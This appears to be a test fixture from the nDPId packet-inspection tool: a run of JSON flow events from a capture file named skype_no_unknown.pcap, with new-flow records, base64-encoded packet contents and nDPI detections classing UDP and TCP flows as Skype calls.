+00443{"flow_id":87,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":722,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":869214,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA54bUAAEARt2bAqAEinTeCljLdnEcAJaaFewkCIUNJcqobuUolNpafXbellV+EM\/ULmpysjyw="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":722,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.150","src_port":13021,"dst_port":40007,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":723,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.15","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":88,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":723,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":869214,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBP+oAAEARp7DAqAEinTg0DzLdnFsALYwJewsCVNeDMJHHK\/Dt9HVlBuPPBbINu9bDjb8MSpCCrsrjyd0TEg=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":723,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.15","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":724,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.162","src_port":13021,"dst_port":40033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":89,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":724,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":869278,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0mUYAAEARls7AqAEinTfrojLdnGEAICOXew0CZW2\/4VtO8SUcLK6ApfNDe+uaEMsE"} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":724,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.162","src_port":13021,"dst_port":40033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":725,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.159","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":90,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":725,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":869278,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6nacAAEARXcXAqAEib91NnzLdnF8AJrQGew8Ci4JWnsKyT6r3gHVnkQ4+dXrvzbvknlDqGmE\/"} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":725,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.159","src_port":13021,"dst_port":40031,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":726,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.148","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":91,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":726,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":869279,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABB8NoAAEARcG\/AqAEiQAQXlDLdnF0ALRa1exECrGOk9zKZhpR5Z4LrruV\/92iAsqS9CAawX8X4D80kRASy7Q=="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":726,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1431970653869,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.148","src_port":13021,"dst_port":40029,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00530{"flow_id":81,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":727,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970653,"pkt_ts_usec":973551,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"0NQSxnP1PBXCt3IOCABFAAB3yV5AAEAGj3DAqAEinTeCsMgpAbtXW5OVu\/PiI4AYECwiRAAAAQEICj4x0dZOqL8U9IDgvpwdzGcEkd9CX4txidHNl7imFBAwZtm7PgDORMBSjaYWMXjPRWAjyRyC8GW2MJh6wHE92aXcM+JRSsWm\/1CudQ=="} +00521{"flow_id":74,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":728,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970654,"pkt_ts_usec":499807,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABxva5AAEAGmqnAqAEiQTffLcgnAbvOrma7ApkXD4AYECxrhAAAAQEICj4x0+NNlOpApvNYMEQS5cpK5u6346cd8BL2N20dvzqenZJMFcn1yRtBVTFQ\/i2ToNXpC7XoSTbRK6UPDCtXBWtUo6jCxA=="} +00514{"flow_id":73,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":729,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970654,"pkt_ts_usec":678977,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"0NQSxnP1PBXCt3IOCABFAABs0lFAAEAGHaXAqAEinTfrk8gmAbvxz5zEZu7sLYAYECw6uwAAAQEICj4x1JZMYEfZsJPOrYWxbQ2kS5GoHYZTSJUEAhUVjQ9Suc6gMln7jVEiXtQHYU+2Wg9JNG\/SECNBnGag8RNJ4KY="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":730,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.142","src_port":13021,"dst_port":40023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":92,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":730,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970654,"pkt_ts_usec":821677,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6wW8AAEARn+fAqAEiQAQXjjLdnFcAJg\/KexMCQ3jYuEugpNmWmUQtEzO7LdTOeKZd1ItpRQQC"} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":730,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.142","src_port":13021,"dst_port":40023,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":731,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":93,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":731,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970654,"pkt_ts_usec":821678,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA03zwAAEARghzAqAEiQAQXkjLdgQkAIIDZexUCZ4W5ZqoZlNOePqUvRCFg3WRtDoC9"} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":731,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":732,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.149","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":94,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":732,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970654,"pkt_ts_usec":821742,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/GZwAAEARf3vAqAEinTeClTLdnEsAK1wIexcCaeXnH1khWR2dVjoEFgFOwJFG48UKy+DykqMrgwb0UzA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":732,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.149","src_port":13021,"dst_port":40011,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":733,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.151","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":95,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":733,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970654,"pkt_ts_usec":821742,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBOycAAEARwEbAqAEib91NlzLdnF0ALQ\/xexkCYPXpRAQdHH0\/jNHVbGCv27qhgsGUdDsPAuuhBF8LGQtOxA=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":733,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.151","src_port":13021,"dst_port":40029,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":734,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.165","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":96,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":734,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970654,"pkt_ts_usec":821742,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAm5UAAEARk+DAqAEi1cezpTLdnEQALDM7exsCCwiB5Tp\/+eOgtAg8Bibngtvk3Z9waqj3cY7b3c6tDEmT"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":734,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1431970654821,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.165","src_port":13021,"dst_port":40004,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00548{"flow_id":22,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":735,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970655,"pkt_ts_usec":127494,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACDdRxAADMGPzqdODQcwKgBIgG7yCDj6Zk1JLpYdYAYAB1wuQAAAQEICkxf\/gA+MY4\/FgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00419{"flow_id":22,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":736,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970655,"pkt_ts_usec":127563,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoU2tAAEAGVEbAqAEinTg0HMggAbskulh1AAAAAFAEAADVtgAA"} +00517{"flow_id":75,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":737,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970655,"pkt_ts_usec":323128,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"0NQSxnP1PBXCt3IOCABFAABuJZBAAEAGmSXAqAEib91KLcgoAbtIes\/7DU2rDIAYECxznwAAAQEICj4x1xlNh64VXoBGQFpplMys2JWIO4+I29OA4cPWkJJGByBiX+YJVXNQ2TREXlwyKhu2PLot6b6UkyYNEZ8cQhCRbQ=="} +00530{"flow_id":81,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":738,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970655,"pkt_ts_usec":417287,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"0NQSxnP1PBXCt3IOCABFAAB3kSVAAEAGx6nAqAEinTeCsMgpAbtXW5OVu\/PiI4AYECwcowAAAQEICj4x13dOqL8U9IDgvpwdzGcEkd9CX4txidHNl7imFBAwZtm7PgDORMBSjaYWMXjPRWAjyRyC8GW2MJh6wHE92aXcM+JRSsWm\/1CudQ=="} +00448{"flow_id":60,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":739,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970655,"pkt_ts_usec":713397,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8J\/9AAEAGMI7AqAEiQTffLcgjnEma5hzvzyelXIAYECkKhwAAAQEICj4x2J5NlOiwwc7xhOCNCBA="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":740,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1431970655836,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.44","src_port":51246,"dst_port":40020,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":97,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":740,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970655,"pkt_ts_usec":836661,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABANxVAAEAGcHTAqAEinTg0LMgunFRemxUUAAAAALAC\/\/+0UAAAAgQFtAEDAwUBAQgKPjHZGQAAAAAEAgAA"} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":741,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1431970655836,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.156","src_port":13021,"dst_port":40019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":98,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":741,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970655,"pkt_ts_usec":836975,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAyDf8AAEARix7AqAEinTeCnDLdnFMAHh0Aex0Cxk3n0hRKPcgDeocb540rNGApyA=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":741,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1431970655836,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.156","src_port":13021,"dst_port":40019,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":742,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1431970655836,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.27","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":99,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":742,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970655,"pkt_ts_usec":836975,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBoCUAAEAR+GnAqAEiQTffGzLdnF0ALfl1ex8CqPqPm6RB3JLpE4+TALz\/NA1U\/CYbcdFd\/zzgY3E\/zKJhBw=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":742,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1431970655836,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.27","src_port":13021,"dst_port":40029,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":743,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1431970655837,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.142","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":100,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":743,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970655,"pkt_ts_usec":837009,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6UqAAAEARkIPAqAEinTc4jjLdnE0AJphseyECmYsgkMQHN\/YIHMBu8w6RdZxUPKbDb+JHSqeN"} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":743,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1431970655837,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.142","src_port":13021,"dst_port":40013,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":744,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1431970655837,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.154","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":101,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":744,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970655,"pkt_ts_usec":837009,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4DEcAAEARVQbAqAEiQAQXmjLdnGAAJHYfeyMC79DK\/hLwI0tI0UYsgGEWGk5hr4E5iC40QQ=="} 